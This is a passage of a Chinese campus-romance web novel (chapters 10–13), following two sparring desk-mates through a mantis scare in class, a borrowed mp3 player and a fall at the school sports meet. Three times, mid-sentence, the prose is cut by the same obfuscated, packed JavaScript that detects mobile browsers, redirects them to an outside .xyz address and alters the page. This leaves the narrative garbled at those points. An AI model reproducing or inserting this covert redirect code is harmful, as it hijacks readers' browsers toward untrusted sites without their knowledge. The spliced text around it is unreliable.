六点钟不到,他们结束了采购,这个点,去吃饭也行,各回各家也行,欧阳茜先举手背叛了组织,“我晚上有约了。” “啥约啊?你这一天约两拨人,大红人啊。”郑彦航说。 欧阳茜笑一笑,并不解释,向大家挥挥手,像只雀儿似的蹦跳着跑了。 “她和谁约啊?”郑彦航还是觉得奇怪,大家都摇头,而方敏周猜,应该是去见她的小姨吧。 少了一个人,晚饭自然就不聚了,有人打车,有人乘公交,到最后,市场门口的公交车站只剩下方敏周和王衎两个人。 方敏周看看旁边双手插兜、一脸无聊的王衎,她往旁边走了几步,拿出手机给妈妈打了个电话。 电话挂断后,王衎不知什么时候又贴到了她边上,还向她扬了扬下巴,方敏周奇怪地再往旁边走了一步。 “我的笔。”王衎说。 “……哦。”方敏周敞开帆布袋寻找。 王衎在一旁探头探脑,好奇方敏周的帆布袋里都装了什么,出个门有必要还带个包吗? 方敏周把笔递给王衎,王衎突然问她,“你为什么不带手链?” 方敏周一愣:“我为什么要带?” “我看欧阳茜她们不都直接带上了。” 方敏周不语。 “你也太……”王衎看着方敏周,有点不知道该怎么说她,“你如果不喜欢黄色的,就和老板说一下换一条呗。” 刚才在店里,老板随便拿了三条手链,粉色、紫色、黄色各一,欧阳茜和尹梦然先拿了前两条,他就见一直不吭声的方敏周拿了剩下的黄色。 “谁说我不喜欢黄色了?” “你喜欢黄色吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270959|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你不是喜欢蓝色吗?”王衎说着,右手食指指了指方敏周上下,“你的皮筋、帆布袋都是蓝色的,上次国庆在酒店看到你,穿的也是蓝色的裙子。” 方敏周怔然,仿佛被打了一枪。 ——你喜欢什么颜色? ——我喜欢…… 虽然这只是一个极小极小、微不足道的个人爱好,但往往不都是自我介绍才能被得知的吗?为什么王衎会发现?这种信息的错位,让方敏周顿时有种被看穿的不安——她观察评价别人的同时,也被别人观察评价的,而她完全没在意过他喜欢什么颜色。 可是,就算她是更喜欢蓝色,那本来就是老板免费送的东西,她还能挑三拣四吗? “诶——”王衎猝不及防,眼睁睁看着方敏周的脸像店铺的卷帘门拉下来。 他又说错话了?他说什么了?他只是想让她不要这么拘谨而已,有话不说,拿条自己不喜欢的手链干嘛,别人又不会感谢她,但话还没说出口,方敏周马尾一甩,上了车,一句礼貌的再见都没有。 王衎握着笔,一头雾水。 第二天到了学校,方敏周也没和他说话。 晚自习前他们在小卖部碰上,他排在她后面,把要买的运动饮料放在台面上,方敏周忽然拿了过去,对阿姨说:“还有这个。” 结了帐后,她把饮料递给他,说是请客吧,这态度一点儿不客气,反而更像是要和他划清界限似的。 为啥?王衎想了想,还昨天鸡蛋仔的账? 王衎忽然就觉得方敏周这个人太没劲儿,好强又要面子,做事规矩却心思敏感,对人——对他轻易产生偏见,还轻易拉不近距离。 王衎放弃了。 他家里人多半经商,做生意的人多半讲点缘法,所谓事在人为但顺其自然,人在世间处处都讲求缘分。这些平时耳濡目染的话现在一一在他耳旁环绕,他想,他和方敏周大概就是没什么缘分,不必强求,说不定是命里犯冲。 郑彦航和吴丞已经见怪不怪了,“你和方学霸又吵架了哈?” 王衎说:“这叫井水不犯河水。” 但井水怎么不犯河水呢,毕竟都是同源同流吗?所以还是避免不了口角——他们几个男生打完球回教室,开了风扇不够,想再开窗户,方敏周说他:“你热的话脱衣服不行吗?” 王衎摊开手,“我已经脱得只剩下一件短袖了,还要怎么脱?” 周边听到的人纷纷憋笑,方敏周脸红了,被气得,眼睛极利地瞟过他:“太冷了,你热的话就自己到走廊凉快下吧。” “同桌,你做人不能这么霸道吧?”王衎谑道。 方敏周还从来没有被人用这个词形容过,就要站起来与王衎对峙,其他人见形势不妙开始拉架了。欧阳茜推了事不关己的金柏浩一把,示意他开下他那边的窗户,“开我们这边的吧,开小一点,通通风。” 王衎故意用力拉开椅子,椅子擦着地面,发出刺啦刺耳的摩擦声,混杂在急促的上课铃声中,犹如具象化的宣战号角。 11. 第 11 章 方敏周后悔让开了半个窗户,因为这有助于产生狭管效应,她感觉风直往她身上吹,她拉上校服拉链。拉拉链的声音吸引了王衎的注意力,他偏过脸看她,方敏周没好气地给他一个白眼。 不过风虽然有点凉,但还在方敏周的接受范围内,隐约还能闻到窗外桂花残末的香气。她收拢心思,安慰自己吹吹风有助于清醒头脑,并非全无好处。伟人尚且能够在闹市中学习,她这算什么。 专注于眼前的数学题上,方敏周记得这道概率题她有做过类似的模型题…… 突然,她白纸黑字的世界里多了一片奇怪的绿色——她的笔尖旁停了一只绿色的虫子,正与她大眼瞪小眼。 “啊!” 王衎被方敏周的低叫声吓了一跳,还没看清发生了什么,就见她慌慌张张倒向他,几乎要从椅子上摔下来,他连忙伸手想要扶住她,方敏周先一步撑着他的大腿稳住身体。 王衎愣住了。 方敏周也愣住了,隔着一层校裤布料,手心结实而温烫的触感极其陌生,像握住了一块会发热的石头。 她不知道自己碰到了什么,刚只顾着害怕螳螂飞过来,往旁边躲的时候重心不稳,导致椅子另一边翘起来。 方敏周分出一份心思,小心翼翼往后瞄,确认自己是按到了王衎的腿上,压力顿时像锅里的热气,顺着掀开的锅盖泄去。她讪讪收回手,抓紧自己的椅子边,还是害怕螳螂飞过来,不敢多动,一颗心依旧跳得飞快。 “哇,是螳螂诶。” 郑彦航和吴丞惊叹声令王衎回过神,紧接着他就闻到了空气中除了桂花以外的香气——方敏周靠他太近了,几乎是贴着的距离,足以让他闻到她头顶淡淡的洗发水的香气,甚至能看清她右耳耳后有一颗小痣,而且……她的耳朵好红。 发现这点的王衎后背忽地一热,尴尬地转移视线——他看向方敏周的桌面,果然有一只通体碧绿的大螳螂威风凛凛地立在那儿。 好吧,如果是被这玩意儿吓到,情有可原。 都是城镇里长大的学生,顶多小时候捉过蜻蜓,都不知道这个季节居然还能见到螳螂、螳螂原来是长这个样子,不像蟑螂那样恶心,但也凶神恶煞的。几个人紧张又好奇,它是从哪里冒出来的?从窗户的话,他们教室可是在三楼,螳螂能蹦这么高? 金柏浩都不写作业了,摊开作业本护在身前,“……它不会飞过来吧?” 欧阳茜轻拍他的肩膀,让他把窗户开大点,金柏浩紧张地推开后,欧阳茜“哎呀”一声,“开敏周那边的窗户,不是你这边的。” “哦哦哦。”金柏浩手忙脚乱重新扒拉窗户,这时螳螂忽然动了动镰刀,郑彦航夸张地倒吸一口凉气。 还在晚自习,他们这前后三排的动静引起了周边同学的注意。方敏周缓过气后冷静了点,加上不想在众人面前露出胆怯的模样,便鼓起勇气,从王衎的书堆上拿起一本薄本子。 螳螂而已,没什么好怕的。 “我来吧。”王衎轻声道,想要拿过她手里的本子。 方敏周摇头,挡开王衎,刚抬起胳膊想要驱赶,螳螂突然扬起两把镰刀直扑向她! 这次方敏周都没能发出声音。 她被人护着压下了脑袋,连带着声音也被压回了砰砰直跳的胸腔。弯腰低头,她看见近在咫尺的王衎的脸,比上次更近,他们像两条鱼潜伏在低于桌面的水平线下。 水底沉寂黑暗,氧气稀缺。 方敏周猛地抬起头,螳螂已经不见了,刚才它那一跳把一众人都吓得滋儿哇乱叫,郑彦航拍着胸口直呼“吓死我了、吓死我了”。 窗户大敞着,树影幢幢,对面高三的教学楼灯火通明。 来无影去无踪,跟做梦似得。 日复一日的晚自习太无聊,螳螂入侵一事很值得兴奋回味,但还没下课,林斯年不得不站起来维持班级秩序,让大家安静自习。方敏周把窗户推上后看了眼王衎,这次王衎配合一笑,表示他没意见。 方敏周摆正椅子,继续去看那道概率题,但只是几分钟过去,纸上已经起了个头的草稿她就看不懂了,干脆翻开新的一页重新计算。 她探出了水面,却依然有点呼吸不畅,大脑干净得像一块幕布,一帧一帧,回放得都是王衎的眼睛。深海黑亮亮的光似的,挥之不去。 她紧盯自己桌前的一亩三分地,毫不偏移。不知道为什么,她有点想看看王衎现在在做什么,但又深知不可以,她清楚,她只要看他就会被发现。 方敏周听见了自己不太规律的心跳。 悄悄吸气——偷偷呼气——她强迫自己冷静。 后排传来郑彦航的声音,他对吴丞说:“你小时候有没有看过《黑猫警长》?里面有一集就是母螳螂吃掉了公螳螂……” 方敏周转头一瞪,郑彦航闭嘴了。 不速之虫没有影响方敏周太久,她慢慢地进入了学习的状态,在第一节晚自习结束前写完了数学作业,不由得松了口气,直起背活动活动肩颈,再看向窗外,远眺放松眼睛。 玻璃窗上倒映着教室,半透明的灰色人影一层层叠加,每个人的影子都是凝滞的,如同头顶上一动不动的灯管,其中包括侧趴在桌上同样望向窗户的王衎。 他们的视线在窗户里相遇,准确地说,是方敏周不经意间撞上了玻璃镜子里王衎的目光,就像她转个弯,迎头撞上了一根早已杵在那里的电线杆一样。 方敏周有点撞懵了,没有回头,一动没动,就这么木着脸,看清楚了王衎脸上一闪而过的慌乱。 他仿佛也不知道自己盯着玻璃在看什么一样,恍然醒悟,从桌上爬起来,抓起笔还没写几个字,下课铃响了,又闻声站起来,随手招呼郑彦航吴丞到教室外面。 直到王衎走出窗户所能倒映的范围,方敏周才转回变得僵直的脖子。 和以往一样,金柏浩回头找方敏周校对答案,欧阳茜找方敏周聊天,两人都提到刚才的螳螂,心有余悸,只是最后欧阳茜问她:“敏周,你脸怎么这么红?” “啊?”方敏周说,“可能被风吹的吧。” 欧阳茜没懂,“你发烧了?” “没有,没事。” 欧阳茜看看已经关上的窗户,没有细纠她奇怪的回答。 铃声再响起后,王衎回来了,方敏周写着作业,不敢再东张西望。 这天之后,她和王衎之间依然延续着无话可说的沉默,只是这沉默相比之前有所不同,不再是赌气或者嫌恶,而是一种略显尴尬的心照不宣。 有一次方敏周和王衎同时去接前排欧阳茜传来的试卷,试卷底下,不知道是谁的手先碰到了对方,王衎像被咬了似的弹起来,结果虎口上方被书页割破,反过来吓了方敏周和欧阳茜一跳。 而意识到自己反应过大的王衎暗暗后悔,抽了两张纸巾按住伤口。 欧阳茜用眼神问方敏周“怎么回事”,方敏周表面上一脸无知地摇头,实际心里一阵翻涌,忍不住埋怨王衎,别人是喜怒不形于色,他倒好,一张脸跟投影屏似得,什么内心活动都照在脸上。 明明没有什么事情,却搞得她也心虚。 她从书包里拿出创口贴递给王衎。 王衎愣了愣,“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270960|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你这都有?” 莫名其妙的反问,方敏周不和他呛,把创口贴放在他的桌上。 过了会,王衎把撕开的外包装扔进两人桌子之间的垃圾袋里。方敏周靠墙坐后,只剩下一边的挂钩可用。 王衎有意无意的避嫌倒逼起方敏周逆反的心气,她觉得身正不怕影子斜,扭扭捏捏,搞得他们好像真的有什么一样。 碰上同桌之间互相批改而王衎不想和她交换的时候,她直接把王衎的试卷拿了过来,两个人口头上不免又有争执,结果歪打正着,把王衎的别扭劲儿治好了。 虎口那道细小的伤口早就好了,变回正常的王衎自己都纳闷,过去几天都在拧巴什么。 为了表明他心思足够清白,有次方敏周准备去操场长跑但mp3开不了机时,王衎大方地要把他的借给她。 方敏周起先没理,一心捣鼓着手里黑屏的mp3,想找出是什么原因。不可能是没电,她刚充过电不久,但如果说是坏了,但昨晚也都还好好的呀。 王衎一看方敏周这样就知道她又陷入牛角尖了,怀疑这个怪罪那个,就觉得不应该发生这样的事情,但世事无常嘛,有什么好纠结的。 他把自己的mp3举到方敏周眼皮子底下晃了晃。 他们的mp3是同款,他的是银色的,她的……还是蓝色的。 方敏周不想要王衎的东西,但等会她计划跑五圈,不听点音乐有些难熬,而且他都主动要借了,她再推拒倒显得小气。犹豫了两秒,方敏周拿起那枚小小的电子设备。 她的指尖碰到了王衎的掌心,有点痒,连带着耳朵的神经。王衎收回手,又问:“耳机,要不要?” “不用,我有。”方敏周说完,补了两个字,“……谢谢。” “不客气。”王衎咧嘴。 等到了操场,方敏周发现事情不对。 在她身旁的欧阳茜见她跑着跑着摘下了耳机,问:“怎么了?” 方敏周说没什么,把mp3和耳机收好揣进口袋里,清风拂过耳畔,吹跑那些情啊爱啊的旋律。 她的mp3和广播站或许都放过的音乐,但用王衎的mp3听起来,莫名有种他在对她耳朵吹气的感觉,非常难受。 方敏周跑出一身汗,等风把汗吹凉了,才和欧阳茜踱步一起回到教室,比她先回来的王衎站起来让她进去。 方敏周把mp3还给他,想到他音乐列表里的那些“靡靡之音”,想劝他少听点吧,没有立场,最后指了指他的书堆,提醒他:“你记得还书。” “什么书?”王衎都忘了,从书堆里找出来,再看方敏周,她正仰头喝着水,注意到他的目光也看过来,四目相对,又轻轻别开。 她喝水喝得很慢,一口水含在嘴里,泛红的双颊微微鼓起,好一会儿才咽下,然后拨开了耳后颈侧粘着的几根汗湿的碎发,再看过来时,眉目含上怒:“……干嘛?” 王衎听见自己镇定的声音:“学校借书可以借多久?” “……一个月。” “哦,那我还没到期。”他话接得很顺。 方敏周无言,找出卷子,王衎又问她,觉得他的歌单如何,似乎自诩很有品位的样子,方敏周故意道:“一般。” 她以为王衎会跳脚,但他貌似泰然地接受了,低下头把玩起手心里的mp3。她有点奇怪,王衎又坐正了,戴上了耳机。 方敏周:“……” 到底是生气了还是没生气? 运动完的呼吸和心跳还没完全恢复平静,扰乱了她的判断力。 铃声响了,不管了,她开始学习。 12. 第 12 章 运动会那两天天气不怎么样,开幕式秉承着校长发言必下雨的传统,雨停后太阳出来,又变得干热。 事实证明,参加女子跨栏的确实都是一群倒霉蛋,方敏周轻松进入决赛,甚至位列第四,也就是说,只要她决赛再跑快一点点,很有机会能够拿牌。 不过也还是有厉害的选手,方敏周左边的预赛第一好像是练田径的,热身动作看起来就比其他人专业许多。 真正的现实是,在一中,无论是什么项目,第一都不好拿。 在高一几次考试都没有考进班级前三后,方敏周深刻了解到一中的竞争的激烈,她很挫败,但只有自我调整心态,把目标调低为班级前五。 她觉得,只要她能把成绩稳定在这个区间,至少说明整体基础没问题,等到高三复习阶段查漏补缺,或许会有一个突破。 这次比赛也是,她不奢求冠军,但季军或许没有那么难。 有了期待就有了压力,再站到起跑线前,方敏周比上午预赛紧张一点。她上半身还是穿短袖的校服,下半身换了一件黑色运动短裤,下午的阳光也比上午的更加刺眼猛烈,风吹过来倒有点冷。 跨栏不像50米,可以被旁边的人刺激提速,反正方敏周暗暗提醒自己等会儿千万不能分心,不然她肯定会摔。 她看到跑道边上朝她挥手的欧阳茜和元月,也抬手示意。 欧阳茜放下手时,听见有人问她,“还没开始?” “快了。”欧阳茜回答,多看了眼郑彦航旁边貌似不情不愿的王衎。 王衎不知道看哪里,不想看方敏周,但其他人更无需关注,他摆弄起手里的相机。 “诶,王衎,你等会帮忙拍张照?”欧阳茜说。 “我技术还没那么好。”他说。 欧阳茜想想也是,万一拍出了丑照……“算了算了,那你还是别拍了。” 王衎:“……” 比赛时间逼近,王衎看到裁判老师高高举起发令枪,他还是顺着人群的目光望向起跑线。方敏周在靠近他们的第三跑道,摆出了起跑姿势。 还挺标准的,他想了想,举起相机,按下快门的那一刹那,枪声响起。 “方敏周——加油——方敏周——加油——”人群中即刻爆发出此起彼伏的加油声。 王衎摸了摸受到刺激的耳朵,欧阳茜也就算了,怎么方敏周隔壁八班那个朋友的嗓门突然也这么大了? 高中的体育课变成男女分开上,前几周的课上,王衎看过方敏周练习,不过都是远远的,就是看到个身影,今天早上的预赛他也没去围观,所以这算是他第一次看她跨栏。 眼神凌厉、身形矫健,像头豹子似得要冲他而来。风吹上他的脸,王衎呼吸微滞。 突然,尖叫四起——一个女生不小心摔了,连带着翻倒了的栏杆绊到了她旁边的方敏周。 王衎心中突得一轻,像在梦里一脚踩空。 他和其他人跑过去之前,方敏周先自己站了起来,帮忙扶起她旁边的女生。 那个女生摔得有点重,被其他同学搀扶到一边,几米外,王衎看到方敏周在和老师交谈了几句话,深呼吸了一口气,继续跨完剩下的几个栏杆。 最后一名。 大家鼓励的掌声中,方敏周有点想哭,但还是撑起笑容。 越想要越得不到,事已至此,没办法。 “没事吧?”欧阳茜过来扶她。 她摇摇头,她要摔倒的时候有意识性地卸力侧翻,虽然膝盖和手肘都蹭破了皮,有流血,不过还好。 班上的同学还有元月都围着她,那架势,恨不得一人抬她一根手指头似得,她有点感动的同时也觉得搞笑,还有点难为情,连声重复她真的没事。 她走到裁判老师面前登记了名次,老师面带惋惜地告诉她成绩,然后让她赶快去找校医处理伤口。 “你刘翔啊,受伤了还跑。”欧阳茜皱眉。 方敏周笑,“向刘翔学习。” 欧阳茜看方敏周这样反而有点生气,“干嘛这么拼啊,万一更严重了怎么办?” “不会啊,如果真的不行我就不跑了。”方敏周说,“但还能跑就跑吧,好歹跑完,不然白练习了。” 欧阳茜不赞同,长叹一口气。 元月拿了水过来,又从兜里拿出巧克力,方敏周说着谢谢接过,余光发现不远处的王衎还有他旁边的郑彦航,一眼扫过,他好像在看自己这边? 想到自己刚才摔倒爬起的全过程都落在了他眼里,方敏周不免觉得有点狼狈,指不定王衎背地里怎么笑话她。 她拧开瓶盖,把脸转到另一边喝水。 “方敏周牛啊。”郑彦航啧啧称奇。 王衎收回视线,没有接话,广播响起,他把相机递给郑彦航,“我先去检录了。” “哦,行,我等会叫上吴丞过去找你。”郑彦航说完又加上一句,“注意安全哈,身体第一,比赛第二,你拿不到奖牌组织也不会怪你的。” 王衎背对着郑彦航摆摆手:“你400米都没进决赛还好意思说我,小心明天接力跑,别掉链子。” 郑彦航冲着走远的王衎喊:“我今天那完全是意外!” “郑彦航!” “啊?” 他回头,欧阳茜朝他招手,“过来帮我们拍个照。” 欧阳茜先让郑彦航给给方敏周单独拍张照片,她说学校应该给方敏周颁个最佳精神奖,又让他帮她们拍合照。 方敏周、欧阳茜和元月,两两组合,再三个人一起。 方敏周都不知道欧阳茜和元月什么时候就认识了。 拍完照,相机在她们三人手中传递。 单反在他们这些高中生群体里还是少见的,郑彦航一边让她们小心,一边顺便教她们怎么用,“调成自动档了,你们直接按这里就行,要是觉得曝光太高,点这里。” “可以啊,郑体育委员。”欧阳茜调侃。 “欧阳团支书,你别再这么喊我了。”郑彦航叫苦,“我就是复述王衎教我的,我也没单反,哪会啊。” 方敏周一愣,她都忘了,这台相机是王衎的。 “诶,对了,王衎人呢?”欧阳茜问。 “比赛去了,跳高。”郑彦航说。 方敏周松了口气,感到庆幸,不然刚才如果是王衎给她拍照,那画面她不敢想。 这个念头一闪而过的同时,欧阳茜按了一下左键——相机屏幕里出现了她刚才跨栏的照片。从斜前方拍得半身照,她整个人紧绷着正要跨过栏杆。 “诶,这张不错。”元月夸道。 欧阳茜再往前一按,又是一张她双手触地、准备起跑时的照片。 “啊,我喜欢这张。”元月说。 阳光正好落在方敏周身上,变成金边描绘出她整个人的轮廓。照片里的女生目视前方,表情严肃坚毅,很符合元月心中方敏周的形象。 “你拍的?”欧阳茜问郑彦航。 “不是,王衎拍的吧。” “我就奇怪怎么和刚才的不是一个水平。” 郑彦航:“……” “开玩笑啦。”欧阳茜敷衍安慰完郑彦航,又对方敏周说,“你比赛前我让王衎帮忙拍张照片,他还说自己技术不行。” 一直没说话的方敏周只是笑了笑。 明明是刚结束的比赛,涂上碘伏的伤口也在隐隐作痛,照片里的人却已经陌生得让她差点认不出来,虽然确实是她。 郑彦航问他们要不要去看王衎比赛。 “好啊。”欧阳茜把相机还给郑彦航。 元月不行,她毕竟是八班的人,现在要去给她班上的同学加油了,方敏周也摇头,“我就不去了。” 郑彦航把相机往脖子上一套,“你和王衎还真是同桌,我刚才让他来看你比赛他也死活不来,还是我硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270961|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽过来的。” 一抬头,方敏周盯着他。 郑彦航讨好地呲牙一笑,毕竟同学久了自认为熟了,不小心口无遮拦说错了话,“……不过你受伤了,确实应该休息一下,那……我们先走了?” 方敏周心想,她还能拦着他不成? “你一个人可以吧?”欧阳茜问。 “嗯,你们去吧。” 方敏周慢慢走回到操场中央的班级营地,林斯年也刚结束比赛回来,他跳远拿了第二,并且已经知道了她受伤的事情,关心后,他说:“学校应该给你颁个精神荣誉奖。” 方敏周说他和欧阳茜说了一模一样的话。 “是吗?”林斯年也笑起来,“不过你真厉害,刮目相看了。” 这话要是其他男生说,方敏周一定觉得对方在开自己玩笑,因为语气多半是调侃夸张的,就算是真话也当不得真,但林斯年说话从来不这样。 初中之后,当班干部就不是一件人人抢着当的美差了,稍不留神就会变成同学眼中老师的间谍狗腿,特别是班长这个职位,腹背受敌,高中学习压力大,更是吃力不讨好,但林斯年是认真地在履行班长的职责。 平时慢条斯理的,对一些同学违规的行为睁一只眼闭一只眼,反而和大家关系处得很好,在男生之间有些威望,女生们大都也很欣赏他。 这次运动会,他们班生意不错,负责卖货的同学慌张发现库存不够时,才知道林斯年已经提前联络了老板送货,而他除了比赛,其余时间都在摊位帮忙。 他似乎也没有什么企图心,就是有责任感,方敏周这么觉得,其他同学自然也是。后来方敏周听说林斯年的爸爸在市政府职称似乎不低时,不禁有了难怪的想法。 除了成绩和外表,谁家境如何、谁父母是做什么的,一旦被知晓,也会变成一个标签。有钱没钱是最直接的,其他的,模模糊糊的,像是鲤鱼跳龙门、一分超千人的标语中所能得到的奖励。 “其实我觉得挺丢脸的。”方敏周说。 “为什么?”林斯年问。 方敏周用轻松的语气,“在那么多人面前摔了一跤。” 林斯年没有直接反驳,“要是你看到有人摔了之后继续跑,你会觉得他很丢脸吗?” “……不会。”方敏周顿了顿,笑道,“班长,你想事情真乐观,也有点哲思。” 林斯年态度依旧地微微一笑,温和礼貌。 方敏周帮忙看摊子,不过同学们都把她当作伤员,不能动的那种,有什么活几乎轮不到她,方敏周无聊得左看右看,看到林斯年在翻东西,问他:“班长,你在找什么?” 林斯年说是他中午收集的一沓通讯录稿件,忙忘了,好像落在了教室里。 “我帮你去拿吧。”方敏周说。 “不用,我自己去就行。”他说是这么说,但立刻有负责收钱的同学急呼“班长班长”。 “没事,我去吧,我正好要回教室一趟。” “是吗?但……你能走吗?” “可以啊,我就是擦破点皮,真不严重。” 林斯年匆匆道谢:“那好,谢谢,麻烦你了。” “不客气。” 还好林斯年没问她回教室干嘛,方敏周打算去拿本小说回来打发时间。 穿过操场时,方敏周看到跳高的比赛场地里三圈外三圈挤满了人。毕竟是最受欢迎的项目之一,就算是被硬塞上来的也都是高个子,要么酷帅要么搞笑,哇声一片或者笑声一片,充满了观赏性。 她隐约听见郑彦航的声音,高喊:“王衎加油!” 人群外,方敏周什么都看不到,但她脑海中莫名能想象出一个高瘦人影飞鱼似的跃过栏杆的画面,突然,掌声喝彩连连,又是郑彦航的声音:“王衎牛逼——” 方敏周加快脚步,不知道为什么,出于一种类似于不敢看的心情,默默远离了这块“是非之地”。 13. 第 13 章 秋阳笼罩下的教学楼很安静,走到三楼,方敏周都没有碰到一个人。 学校默认运动会期间是不准待在教室里的。但她推开前门时,本来趴在桌上的孙彤从圈起的胳膊里抬起脸,她桌上摊着书本,手里还拿着笔。 方敏周没想到有人,也有点尴尬,主动说了声:“……我来拿东西。” 孙彤没应声,而是坐直了继续写字。 方敏周走进教室。 成绩好的人固然受到推崇,学习认真是品质,但太刻苦,似乎就不够潇洒,最厉害的,还是又会玩又会学的人。 方敏周也曾有过这种虚荣心,甚至现在也有,谁不想当最聪明的那个?上课不听作业不写也能考满分,但她没有这种能力,只有告诉自己不要自欺欺人,努力不是一件羞耻的事情,不过她还是会羡慕像林斯年这样能够面面俱到的人,欧阳茜也是做任何事看起来都毫不费力。 但孙彤不是,她只有学习,坐在第一排,从早学到晚的那种。 方敏周听一些同学背后议论,似乎从来没见她去过食堂,还有她有一个巨大的保温水壶,仿佛能榨干水箱的那种,排在她后面接水不如去其他楼层,“接水的时间都要省,厕所都不用上吧?” 方敏周虽然也讶异于孙彤的刻苦,但也暗暗佩服她毫不在意他人的目光和评价。 这次运动会有一件事,孙彤没报名任何体育项目,没有被人抽到的女子三千米按理落到了她身上。 女体找她,她说又不是她抽到的,女体差点和她吵起来,最后还是空了名额——但孙彤成绩很好,一骑绝尘的好。 方敏周一方面能够理解她为了学习放弃一切的做法的,但另一方面,她又觉得孙彤不必特立独行到这个程度。比如现在,不是没有同□□动会也要学习,但他们至少是带书到操场上,偶尔参与一下活动,大家也不会说什么。 方敏周走到林斯年的座位,他和孙彤是同一个大组,见孙彤看来,便解释了一下,这次孙彤“嗯”了一声。 “……那我先走了。”找到稿件的方敏周说。 孙彤点了点头。 方敏周从讲台走过,没忍住,还是问她:“……你还好吗?” 孙彤看着她。 她是很短的头发,戴一副黑框眼镜,方敏周这样正面看她,更觉得她脸色苍白,似乎在忍痛,但孙彤面无表情的,方敏周硬着头发:“我是看你好像脸色不太好……” “没有。”孙彤说。 方敏周抿了抿嘴,想到上回王衎硬是拉她去医务室,但那次她是真的没怎么样,不像孙彤…… 她还是努力了一下,“……我可以陪你去医务室。” “我说了没事。”孙彤的声音轻而冷漠,她说完,把头重新埋下。 方敏周哑然。 孙彤在班上没有朋友,而这似乎是她的问题。 好心好意却贴了个冷脸,方敏周不是没有情绪,但孙彤看起来又明显是不舒服的…… 方敏周犹豫再三,回到自己的位置,从书包的小口袋里翻出一板还剩一小半的布洛芬和两片卫生巾。她不知道孙彤是哪里不舒服,也许是胃痛也许是经痛。 她把东西轻轻放在孙彤桌上,孙彤毫无察觉般一动未动,方敏周看到她的水壶空了,想了想,拿起来去接了壶温水回来,这才离开教室。 图个心安。 但还是怕出事。 方敏周脚步一拐,先上楼,办公室没有老师在,她只好回操场。在班级营地看到了詹老师,她把通讯稿交给林斯年后,找到机会和詹老师说了孙彤的事情。 “好的,我知道了,我去看看。”詹老师说。 方敏周这才彻底放下心,反正孙彤好像也不太喜欢她,觉得她打小报告也无所谓。 但她帮忙整理货物的时候又忍不住想,孙彤拒绝参加运动会是不是因为猜到可能会撞上经期,但是又不好意思说?但她是来月经了吗?方敏周无从求证。 “受伤了还到处乱跑。”方敏周听到王衎的声音。 说话还是这么难听。 她抬起头,他倒是莫名别开了目光。 但他在她面前晃悠,方敏周自然看到了他脖子上的铜牌,心思根本藏不住,但方敏周此刻不想和幼稚的人置气,这只会把她也变愚蠢。 “恭喜你啊,第三名。” “什么?”王衎像是没想到,愣了愣,摸上奖牌,“……哦,谢谢。” 他似乎还有话说,方敏周难得耐心等候,但好一会没等到,他反而自己走开了,简直莫名其妙。 晚自习前回到教室,方敏周注意到孙彤不在,而王衎难得提前落座。他买了一大袋零食,和前后左右分享。方敏周晚上吃饱了饭,但王衎可能以为她是客气或者什么吧,硬塞给她一盒泡芙蛋糕。 方敏周记下一笔要换的账,拆开和欧阳茜一起分了。 倒是晚自习结束,一向跑很快的王衎突然问她:“你等会怎么走?” 这问题让方敏周疑惑,不知道他是何用意,“……骑车啊。” “你……”他支吾,“你受伤了还能骑车?” “……又没有很严重。” “不痛?” “还好。” 王衎“哦”了声,“……那就行。” 方敏周眨眨眼,她不想太自恋,但这会儿王衎的态度不由得她多想。 她是在关心她吗? 如果是关心,也无可厚非? 虽然他们常有争执,虽然王衎性格有些恶劣,但确实还不至于到幸灾乐祸她摔倒的地步。他可能还觉得她摔得挺惨的,特别是涂上红药水后,至少乍一看触目惊心。 只是……现在她应该作何表示? 王衎看着她,也是一句话没有。 “你们俩干嘛?”欧阳茜奇道,横插一句。 王衎这会儿反应极快,甩上书包,“走了。” 方敏周:“……” 第二天,方敏周留了心,但依然没有在班级营地看到孙彤。 运动会最后一项比赛是男子4×100接力,他们班的积分和一班咬得很紧,胜负成败全看这一分钟。郑彦航摩拳擦掌,刚才他们班女子4×100拿了第一,他作为第一棒士气昂扬,扬言也有拿个金牌。 方敏周暂时接替刚跑完接力的欧阳茜的后勤工作,问他们是否准备好了、有没有什么需要的,其他人都好好的,就王衎低着头脚磨蹭着草地,不知道在想什么。 又抽风了,方敏周心想。 气喘吁吁的欧阳茜不忘张罗大家写通讯稿,塞了方敏周一张纸,还记得她欠的债,“有比赛的至少也要写一篇。” 只是交差的任务,方敏周应试教育培养出来的能力还是挺强的,但笔一落纸,写下了第一个字,她又反省自己不能随便敷衍了事。只有在任一小事上都认真对待,才能在面对大事时临危不乱。 